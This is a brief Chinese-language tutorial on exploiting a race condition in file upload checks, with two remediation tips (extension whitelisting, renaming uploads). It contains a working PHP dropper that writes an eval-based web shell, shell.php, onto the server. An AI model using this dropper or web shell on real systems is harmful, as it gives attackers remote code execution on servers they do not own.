竞争条件攻击
利用文件上传成功后和删除文件之间存在的短的时间差(因为要执行检查文件和删除文件的操作)
首先上传一个webshell脚本1.php,内容是生成一个新的WebShell脚本shell.php,1.php代码如下
<?php
fputs(fopen('../shell.php','w'),'<?php @eval($_POST[a])?>');
?>
当1.php上传成功后,客户端立即访问1.php,则会在服务器目录下自动生成shell.php
修复建议
1、通过白名单检测文件后缀是否合法
2、对上传后的文件进行重命名,例如:rand(10,99).date("YmdHis").".jpg"。